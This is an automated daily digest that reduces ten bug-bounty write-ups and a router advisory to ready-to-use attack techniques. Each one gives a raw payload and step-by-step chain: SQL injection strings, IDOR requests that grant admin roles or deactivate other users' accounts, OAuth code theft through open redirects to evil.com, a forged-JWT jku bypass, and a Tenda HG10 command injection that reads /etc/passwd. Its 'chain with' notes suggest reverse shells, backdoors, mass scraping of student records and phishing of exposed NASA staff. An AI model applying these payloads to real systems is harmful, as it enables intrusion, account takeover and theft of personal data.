ETX Signal-X

Daily Intelligence Digest

Friday, March 6, 2026

10	16
ARTICLES	TECHNIQUES

Article 1

Finding my First SQL Injection On HackerOne

Source: securitycipher

Date: 19-Jan-2025

URL: https://infosecwriteups.com/finding-my-first-sql-injection-on-hackerone-6a031ab5aa1c

T1 Classic Boolean-Based SQL Injection via Query Parameter

💉 Payload

```
GET /search?query=test' or 1=1-- HTTP/1.1
Host: targetsite.com
User-Agent: Mozilla/5.0
Accept: */*
Connection: close
```

⚔️ Attack Chain

1. Identify a search endpoint (e.g., `/search?query=`) reflecting user input in SQL queries.
2. Submit the payload `test' or 1=1--` as the `query` parameter.
3. Observe if the response returns all records or behaves abnormally, indicating successful injection.

🔍 Discovery

Manual fuzzing of search parameters with single quotes and boolean logic to test for SQL error or injection behavior.

🔓 Bypass

Payload leverages SQL comment syntax (`--`) to ignore the rest of the query, bypassing input sanitization that does not properly escape single quotes.

🔗 Chain With

If error messages are verbose, may lead to error-based SQLi. If UNION is allowed, may escalate to data extraction or authentication bypass.

T2 Time-Based Blind SQL Injection for Confirmation

💉 Payload

```
GET /search?query=test' OR SLEEP(5)-- HTTP/1.1
Host: targetsite.com
User-Agent: Mozilla/5.0
Accept: */*
Connection: close
```

⚔️ Attack Chain

1. After identifying possible SQLi, submit a time-based payload (`test' OR SLEEP(5)--`) in the vulnerable parameter.
2. Measure response time; a significant delay confirms code execution in the database context.

🔍 Discovery

Used after initial boolean-based tests to confirm SQLi when no visible errors or data changes are present.

🔓 Bypass

Time-based payloads bypass output encoding and error suppression by relying on database execution timing.

🔗 Chain With

Can be chained with out-of-band techniques or used to extract data bit by bit via conditional timing.

T3 Error-Based SQL Injection for Database Version Disclosure

💉 Payload

```
GET /search?query=test' UNION SELECT 1,@@version-- HTTP/1.1
Host: targetsite.com
User-Agent: Mozilla/5.0
Accept: */*
Connection: close
```

⚔️ Attack Chain

1. Submit a UNION-based payload to the vulnerable parameter.
2. If the number of columns matches, the database version is reflected in the output, confirming injection and providing valuable fingerprinting data.

🔍 Discovery

Tested after confirming SQLi to enumerate columns and extract database metadata.

🔓 Bypass

UNION SELECT allows controlled data extraction if output is reflected; can bypass some input validation if not all SQL keywords are filtered.

🔗 Chain With

Database version info can inform further exploitation (e.g., targeting known DBMS-specific vulnerabilities or syntax).

Article 2

IDOR in ‘stuno’ parameter leading to unauthorized data exposure

Source: securitycipher

Date: 23-Dec-2025

URL: https://medium.com/@akilitulloch/idor-in-stuno-parameter-leading-to-unauthorized-data-exposure-8a9d3068b196

T1 IDOR via 'stuno' Parameter in Grading Information API

💉 Payload

```
GET /redacted/redacted/redacted?stuno=9876543210 HTTP/1.1
Host: redacted
Cookie: redacted
Sec-Ch-Ua-Platform: "macOS"
Authorization: redacted
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/plain, */*
Sec-Ch-Ua: "Chromium";v="143", "Not A(Brand";v="24"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/143.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: redacted
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
```

⚔️ Attack Chain

1. Intercept the legitimate GET request to the grading info endpoint.
2. Replace the 'stuno' parameter value with the target student's ID (e.g., 9876543210).
3. Send the modified request.
4. Record the 'degreeProgramCode' value from the JSON response.

🔍 Discovery

Observed that the API request for grading info used a predictable, user-controllable 'stuno' parameter and returned data for any valid student ID without authorization checks. Publicly available student IDs increased risk.

🔓 Bypass

No authentication or authorization enforced on the 'stuno' parameter; any valid student ID could be queried directly.

🔗 Chain With

Automate enumeration of all known/predictable student IDs to mass-extract degree program codes and prepare for further data extraction.

T2 Chained IDOR for Full Grading Data via 'stuno' and 'dprog' Parameters

💉 Payload

```
GET /redacted/redacted/redacted?stuno=9876543210&dprog=4321 HTTP/1.1
Host: redacted
Cookie: redacted
Sec-Ch-Ua-Platform: "macOS"
Authorization: redacted
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/plain, */*
Sec-Ch-Ua: "Chromium";v="143", "Not A(Brand";v="24"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/143.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: redacted
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
```

⚔️ Attack Chain

1. Use TECHNIQUE 1 to obtain a valid 'degreeProgramCode' (e.g., 4321) for the target student ID.
2. Craft a second GET request with both 'stuno' set to the target student ID and 'dprog' set to the extracted degree program code.
3. Send the request to retrieve the full grading history for the target student.
4. Collect and parse the sensitive grading data from the JSON response.

🔍 Discovery

Noticed the application flow: first request leaks degree program code, which is then required as a parameter in a second request for full grading data. Both requests lack authorization checks.

🔓 Bypass

Chaining the two IDORs: first to enumerate valid degree program codes, second to access grading data. No server-side validation of user ownership for either parameter.

🔗 Chain With

Fully automatable: script mass enumeration of student IDs to extract all degree program codes, then recursively request all grading histories for all students in the system.

Article 3

DOM-Based Open Redirection

Source: securitycipher

Date: 20-Jan-2026

URL: https://meetcyber.net/dom-based-open-redirection-27f87d761ff9

T1 DOM-Based Open Redirection via Unvalidated `url` Parameter

💉 Payload

```
https://targetsite.com/blog?url=https://attacker.com
```

⚔️ Attack Chain

1. Identify a page (e.g., `/blog`) that includes a JavaScript-based redirect using a `url` parameter from the location string.
2. Craft a URL with the `url` parameter set to an attacker-controlled external domain (e.g., `https://attacker.com`).
3. Send the malicious link to a victim or embed it in a phishing context.
4. When the victim clicks the link, the client-side script extracts the `url` parameter and redirects the browser to the attacker-controlled site without validation.

🔍 Discovery

Observed JavaScript logic on the target page that parses `location` for a `url=` pattern and assigns its value directly to `location.href`. Manual inspection of DOM manipulation and lack of validation on the extracted parameter triggered further testing.

🔓 Bypass

Traditional server-side open redirect protections are ineffective because the redirection occurs entirely in the DOM after page load, not on the server. No server-side allowlist or referer checks are involved.

🔗 Chain With

Can be chained with phishing attacks to increase credibility (link appears to originate from a trusted domain). May be used to bypass CSRF protections or session-bound flows if the redirect occurs after authentication. Can facilitate cookie theft or session fixation if chained with other client-side vulnerabilities.

Article 4

OAuth Misuse: How Broken Flows and Open Redirects Lead to Account Hijack

Source: securitycipher
Date: 10-Jun-2025
URL: https://medium.com/h7w/oauth-misuse-how-broken-flows-and-open-redirects-lead-to-account-hijack-9f280680aab5

T1 OAuth Authorization Code Interception via Open Redirect in redirect_uri

💉 Payload

```
https://login.example.com/oauth/authorize?  response_type=code&  client_id=trusted-client&
redirect_uri=https://trusted.example.com/redirect?url=https://evil.com&  state=random123
```

⚔️ Attack Chain

1. Identify an open redirect on a subdomain or endpoint allowed in the OAuth `redirect_uri` whitelist (e.g., `https://trusted.example.com/redirect?url=`).
2. Confirm OAuth `redirect_uri` parameter accepts URLs containing the open redirect endpoint.
3. Craft an OAuth authorization URL with `redirect_uri` set to the open redirect, chaining it to an attacker-controlled domain (e.g., `https://evil.com`).
4. Send the malicious OAuth URL to a victim and entice them to authenticate.
5. Upon successful login, the OAuth provider redirects to the open redirect endpoint, which then forwards the authorization code to the attacker's server.
6. Attacker captures the authorization code and exchanges it for an access token, taking over the victim's session/account.

🔍 Discovery

Manual enumeration of OAuth `redirect_uri` parameters and subdomains for open redirect functionality. Use tools like ParamSpider, gau, Burp Suite (Repeater/Logger++), and Chrome DevTools to map endpoints and test redirect chains.

🔓 Bypass

By chaining a valid subdomain open redirect with a whitelisted `redirect_uri`, the attacker bypasses strict domain checks. Even if `state` is present, if not validated or tied to session, CSRF and code interception are still possible.

🔗 Chain With

Combine with weak or missing `state` parameter validation for seamless session hijack. Exploit wildcards in `redirect_uri` whitelists for broader attack surface. Leak tokens via referrer headers or logs if access tokens are ever passed in URLs.

T2 Exploiting Wildcard redirect_uri Whitelists for OAuth Flow Manipulation

💉 Payload

```
https://auth.target.com/redirect?url=https://attacker.com
```

⚔️ Attack Chain

1. Locate an OAuth client configuration that whitelists redirect URIs with wildcards or overly broad patterns (e.g., any path on `auth.target.com`).
2. Find an open redirect endpoint on the whitelisted domain (e.g., `/redirect?url=`).
3. Set the OAuth `redirect_uri` to the open redirect endpoint, pointing to the attacker's domain.
4. Initiate the OAuth flow with the crafted `redirect_uri`.
5. After user authentication, the OAuth provider redirects to the open redirect, which then forwards the code or token to the attacker.

🔍 Discovery

Review OAuth client configurations for wildcard or subdomain-based `redirect_uri` whitelisting. Use URL enumeration tools to discover open redirects. Test OAuth flows with attacker-controlled endpoints.

🔓 Bypass

Wildcard whitelisting allows attackers to introduce open redirects into the OAuth flow, bypassing intended origin restrictions. This is effective even if the main domain is trusted, as any subpath or subdomain may be leveraged.

🔗 Chain With

Combine with missing PKCE in mobile flows for native app session takeover. Use in conjunction with state parameter weaknesses for CSRF and code leakage.

T3 Authorization Code/Token Leakage via Weak or Missing State Parameter

💉 Payload

```
https://login.example.com/oauth/authorize?  response_type=code&  client_id=trusted-client&
redirect_uri=https://trusted.example.com/redirect?url=https://evil.com&  state=random123
```

⚔️ Attack Chain

1. Identify OAuth flows where the `state` parameter is missing, static, or not validated against the user session.
2. Chain with an open redirect in the `redirect_uri` as above.
3. Victim initiates OAuth login; attacker intercepts the authorization code due to lack of CSRF protection.
4. Attacker completes the OAuth flow, impersonating the victim.

🔍 Discovery

Analyze OAuth flows for presence and validation of the `state` parameter. Use browser tools and Burp Suite to observe if `state` is checked server-side or simply echoed back.

🔓 Bypass

If `state` is not validated or is predictable, CSRF and code interception attacks are possible even if the parameter is present in URLs.

🔗 Chain With

Combine with open redirect and wildcard `redirect_uri` for full account takeover. Use in mobile flows lacking PKCE for native app compromise.

Article 5

Hacking the System: How I Beat Subscription Restrictions in Admin Controls

Source: securitycipher

Date: 11-Aug-2024

URL: https://0xmatrix.medium.com/hacking-the-system-how-i-beat-subscription-restrictions-in-admin-controls-5684fd90279a

T1

GraphQL Mutation Abuse to Bypass Subscription Restrictions on Authentication Domain Management

💉 **Payload**

```
POST /graphql HTTP/2
Host: redacted.com
Cookie: xxxxxxxxxxxxx
Content-Length: 2723
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Accept: */*
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Geck
o) Chrome/120.0.6099.216 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: <https://redacted.com>
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: <https://redacted.com/>
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
{"operationName":"AuthenticationDomainUpdateMutation","variables":{"includeScimConfiguratio
n":false,"includeSamlConfiguration":false,"id":"d937a430-7593-4b86-b073-a14dcd20a229","nam
e":"momen0x00","authenticationType":"PASSWORD","provisioningType":"MANUAL","basicFullTierCh
angeApproval":"ADMIN_REVIEW","coreFullTierChangeApproval":"ADMIN_REVIEW","basicCoreTierChan
geApproval":"ADMIN_REVIEW","idpManagedAttributes":[],"upgradeMessage":null,"upgradeButtonTe
xt":null,"upgradeButtonTargetUrl":null,"maxBrowserSessionDuration":2592000,"maxBrowserIdleD
uration":604800},"query":"mutation AuthenticationDomainUpdateMutation($id: ID!, $name: Stri
ng, $currentSamlConfigurationId: String, $currentScimConfigurationId: String, $authenticati
onType: String, $provisioningType: String, $maxBrowserSessionDuration: Int, $maxBrowserIdle
Duration: Int, $basicCoreTierChangeApproval: String, $basicFullTierChangeApproval: String,
$coreFullTierChangeApproval: String, $includeScimConfiguration: Boolean = false, $includeSa
mlConfiguration: Boolean = false, $postUpdateActions: [PostUpdateActions], $idpManagedAttri
butes: [IdpManagedAttributes], $upgradeMessage: String, $upgradeButtonText: String, $upgrad
eButtonTargetUrl: String) {\n updateAuthenticationDomain(\n input: {id: $id, name: $name, c
urrentSamlConfigurationId: $currentSamlConfigurationId, currentScimConfigurationId: $curren
tScimConfigurationId, authenticationType: $authenticationType, provisioningType: $provision
ingType, maxBrowserSessionDuration: $maxBrowserSessionDuration, maxBrowserIdleDuration: $ma
xBrowserIdleDuration, basicCoreTierChangeApproval: $basicCoreTierChangeApproval, basicFullT
ierChangeApproval: $basicFullTierChangeApproval, coreFullTierChangeApproval: $coreFullTierC
hangeApproval, postUpdateActions: $postUpdateActions, idpManagedAttributes: $idpManagedAttr
ibutes, upgradeMessage: $upgradeMessage, upgradeButtonText: $upgradeButtonText, upgradeButt
onTargetUrl: $upgradeButtonTargetUrl}\n ) {\n id\n name\n authenticationType\n provisioning
Type\n maxBrowserSessionDuration\n maxBrowserIdleDuration\n basicCoreTierChangeApproval\n b
asicFullTierChangeApproval\n coreFullTierChangeApproval\n idpManagedAttributes\n upgradeMes
sage\n upgradeButtonText\n upgradeButtonTargetUrl\n currentSamlConfiguration @include(if:
$includeSamlConfiguration) {\n idpSsoTargetUrl\n logoutRedirectUrl\n certificate\n certific
ateFilename\n assertionConsumerUrl\n spEntityId\n idpEntityId\n idpMetadata\n __typename\n
}\n currentScimConfiguration @include(if: $includeScimConfiguration) {\n authenticationDoma
inId\n createdAt\n __typename\n }\n __typename\n }\n}\n"}
```

⚔️ **Attack Chain**

1. Navigate to the user management/admin interface and select the authentication domain management section (restricted in GUI to paid/pro plan users).

2. Attempt to change any value in the authentication domain settings via the GUI and intercept the resulting GraphQL request.
3. Modify the intercepted GraphQL mutation payload:
4. Forward the modified request to the backend.
5. Navigate back to the authentication domain interface to confirm the unauthorized changes have taken effect, despite not having a paid subscription.

🔍 **Discovery**

Observed that the GUI blocked certain actions for non-pro users, but requests were still sent to the backend. Intercepted and analyzed the GraphQL mutation payload, revealing that backend access control was missing for these mutations.

🔓 **Bypass**

Directly manipulating the GraphQL mutation parameters in an intercepted request bypasses front-end subscription checks. The backend does not enforce subscription validation for these sensitive mutations, allowing unauthorized changes.

🔗 **Chain With**

Combine with privilege escalation if authentication domains control SSO/SCIM integrations or user provisioning logic. Potential for lateral movement or persistence if new authentication domains can be created or existing ones renamed to confuse audit trails or take over login flows. May be chained with IDOR or misconfigured GraphQL introspection for further enumeration or abuse.

Article 6

Critical IDOR Chain — Edit Any User's Role, Activate/Deactivate Accounts, and Escalate Privileges

Source: securitycipher
Date: 10-Jul-2025
URL: https://medium.com/@abdelrahmanyousef33/critical-idor-chain-edit-any-users-role-activate-deactivate-accounts-and-escalate-privileges-12637b0f2485

T1 IDOR to Edit Any User's Role

💉 Payload

```
POST /api/v1/users/edit-role HTTP/1.1
Host: target.com
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "user_id": "<victim_user_id>",
  "role": "admin"
}
```

⚔️ Attack Chain

1. Authenticate as a low-privileged user and capture the JWT access token.
2. Intercept the request when editing your own role and note the endpoint and parameters.
3. Modify the `user_id` parameter to another user's ID and set `role` to `admin` or another elevated role.
4. Send the request with your valid token; the victim's role is changed without authorization checks.

🔍 Discovery

Observed that the edit-role endpoint only required a valid token, and user_id was client-supplied. Tested with another user's ID and confirmed privilege escalation.

🔓 Bypass

No server-side authorization enforced on the user_id parameter; any authenticated user can edit any other user's role.

🔗 Chain With

Combine with account activation/deactivation IDORs to fully control user lifecycle and escalate privileges.

T2 IDOR to Activate/Deactivate Any User Account

💉 Payload

```
POST /api/v1/users/activate HTTP/1.1
Host: target.com
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "user_id": "<victim_user_id>",
  "active": false
}
```

⚔️ Attack Chain

1. Authenticate as a normal user and capture your token.
2. Intercept the request to activate/deactivate your own account.
3. Change the `user_id` to another user's ID and set `active` to `false` (to deactivate) or `true` (to activate).
4. Send the request; the victim's account status is changed without authorization.

🔍 Discovery

Found that the activation endpoint accepted arbitrary user IDs and did not verify ownership or privilege.

🔓 Bypass

No authorization check on the user_id parameter; any authenticated user can toggle any account's active status.

🔗 Chain With

Can be chained with role escalation to lock out admins after privilege escalation.

T3 IDOR to View/Edit Any User's Profile Data

💉 Payload

```
POST /api/v1/users/edit-profile HTTP/1.1
Host: target.com
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "user_id": "<victim_user_id>",
  "email": "attacker@evil.com",
  "name": "Evil Attacker"
}
```

⚔️ Attack Chain

1. Authenticate as a standard user and capture your token.
2. Intercept the profile edit request and observe the user_id parameter.
3. Replace user_id with a victim's ID and supply new profile data.
4. Send the request; the victim's profile is overwritten without their consent.

🔍 Discovery

Noticed user_id was client-controlled in profile edit requests. Tested with another user's ID and confirmed profile overwrite.

🔓 Bypass

No server-side check to ensure user_id matches the authenticated user.

🔗 Chain With

Can be used to hijack accounts, especially if email is used for password resets or login.

Article 7

A flaw has been found in Tenda HG10 US_HG7_HG9_HG10re_300001138_en_xpon. This affects the function system of the file /boaform/formSysCmd. This manipulation of the argument sysCmd causes command injection. The attack may be initiated remotely. The exploit

Source: threatable

Date:

URL: https://github.com/SunnyYANGyaya/cuicuishark-sheep-fishIOT/blob/main/Tenda/HG10/formSysCmd-sysCmd-command.md

T1 Arbitrary Command Injection via sysCmd Parameter in Tenda HG10 /boaform/formSysCmd

💉 Payload

```
POST /boaform/formSysCmd HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]

sysCmd=cat+/etc/passwd;id;uname+-a
```

⚔️ Attack Chain

1. Send a POST request to the endpoint `/boaform/formSysCmd` on the Tenda HG10 device.
2. Set the `Content-Type` to `application/x-www-form-urlencoded`.
3. In the request body, set the `sysCmd` parameter to a shell command or a chain of commands (e.g., `cat+/etc/passwd;id;uname+-a`).
4. The device concatenates the `sysCmd` value into a shell command and executes it via `system()` with output redirected to `/tmp/syscmd.log`.
5. Attacker can retrieve results by reading `/tmp/syscmd.log` if accessible, or use side effects (e.g., outbound connections, file writes).

🔍 Discovery

Analysis of the firmware binary using IDA Pro revealed that the `sysCmd` parameter is passed unsanitized to `system()`. The researcher traced the code path for `/boaform/formSysCmd` and confirmed lack of input validation or escaping.

🔓 Bypass

No authentication or filtering is applied to the `sysCmd` parameter. All shell metacharacters (e.g., `;`, `&&`, `|`, redirection) are permitted, allowing for arbitrary command chaining and output redirection.

🔗 Chain With

Use command injection to drop a reverse shell or implant a persistent backdoor. Enumerate the file system, extract credentials, or modify device configuration. Pivot to internal network segments if the device has LAN access. Combine with LFI or log file read vulnerabilities to exfiltrate command output.

Article 8

Stored HTML Injection — Email Invite Manipulation

Source: securitycipher

Date: 09-Apr-2025

URL: https://ehteshamulhaq198.medium.com/stored-html-injection-email-invite-manipulation-63022e21d5db

⚠️ No actionable techniques found

Article 9

Cracking JWTs: A Bug Bounty Hunting Guide [Part 4]

Source: securitycipher

Date: 04-Jun-2025

URL: https://infosecwriteups.com/cracking-jwts-a-bug-bounty-hunting-guide-part-4-ad98636c5238

T1 JWT Authentication Bypass via JKU Header Injection

💉 Payload

```
Header:
{
  "alg": "RS256",
  "typ": "JWT",
  "jku": "https://exploit-<your-id>.exploit-server.net/exploit",
  "kid": "dce97972–8493–46ef-844b-342b7984fe25"
}

Payload:
{
  "sub": "administrator"
}

Signature: (signed with attacker's private RSA key)
```

⚔️ Attack Chain

1. Log in as a normal user (e.g., `wiener:peter`) and capture a request to a privileged endpoint (e.g., `/admin`).
2. In Burp Suite JWT Editor, generate a new RSA keypair.
3. Host the public key as a JWK Set at `https://exploit-<your-id>.exploit-server.net/exploit`.
4. Modify the JWT header:
5. Modify the JWT payload:
6. Sign the JWT with your generated private key.
7. Replace the session JWT in the captured request with your forged token.
8. Send the request to `/admin` to gain admin access.
9. (Optional) Use the same method to access `/admin/delete?username=carlos` to delete a user or perform further privileged actions.

🔍 Discovery

Researcher noticed the application used JWTs with an RS256 algorithm and accepted a `jku` header in the JWT. Testing revealed the server fetched and trusted the JWK Set from arbitrary attacker-controlled URLs without domain validation. Confirmed by observing successful authentication as an admin after injecting a malicious `jku` and hosting a matching JWK.

🔓 Bypass

The server does not validate the domain or source of the `jku` parameter, allowing arbitrary JWK Sets to be supplied by the attacker. No whitelisting or restriction on `jku` URLs. The attacker can fully control the key used for signature verification by the server.

🔗 Chain With

Combine with IDOR or weak admin endpoint protections for full account takeover or privilege escalation. Use SSRF or network pivoting if the server can reach internal URLs specified in `jku`. Potential for persistence by issuing long-lived tokens or targeting other JWT-protected endpoints.

Article 10

How I Found a Sensitive Data Exposure And PII in NASA's EarthData System

Source: securitycipher

Date: 14-Aug-2025

URL: https://deepsystems.medium.com/how-i-found-a-sensitive-data-exposure-and-pii-in-nasas-earthdata-system-6980492dcd75

T1 Unauthenticated Bitbucket Server API Data Exposure in NASA EarthData

💉 Payload

```
https://xyz.nasa.gov/$$$/$$$/latest/$$$$/CMR/$$$$$/cmr-cloud-deployments/last-modified?at=
$$$$$$$$$d251920784f6541c4da098967https:/xyz.nasa.gov/ $$$/ $$$/ $$ $$ CMR $$ $$$/ $$ $$ $$
$$ $d251920784f6541c4da09896
```

⚔️ Attack Chain

1. Recon subdomains related to nasa.gov, focusing on EarthData assets.
2. Identify API endpoints with patterns suggesting code management or deployment (e.g., containing "/cmr-cloud-deployments/last-modified").
3. Access the endpoint directly in a browser or via curl without authentication.
4. Observe JSON response containing sensitive internal developer data: full names, official emails, mobile numbers, physical addresses, commit messages, project references, JIRA tickets, timestamps, file names, and IDs.

🔍 Discovery

Manual reconnaissance of NASA subdomains and endpoints, with a focus on unauthenticated API routes. The endpoint's structure and naming conventions suggested a Bitbucket Server or similar code management system. Curiosity about deployment and audit-related endpoints led to direct access attempts.

🔓 Bypass

Endpoint was completely unauthenticated—no tokens, cookies, or headers required. No WAF or rate-limiting observed at the time of testing.

🔗 Chain With

Use exposed developer emails and names for highly targeted phishing or social engineering. Leverage commit messages and project references for internal recon, facilitating further attacks (e.g., exploiting referenced services or JIRA tickets). Use deployment timestamps to time attacks or correlate with other activity (e.g., credential stuffing during code pushes).

Automated with ❤️ by ethicxlhuman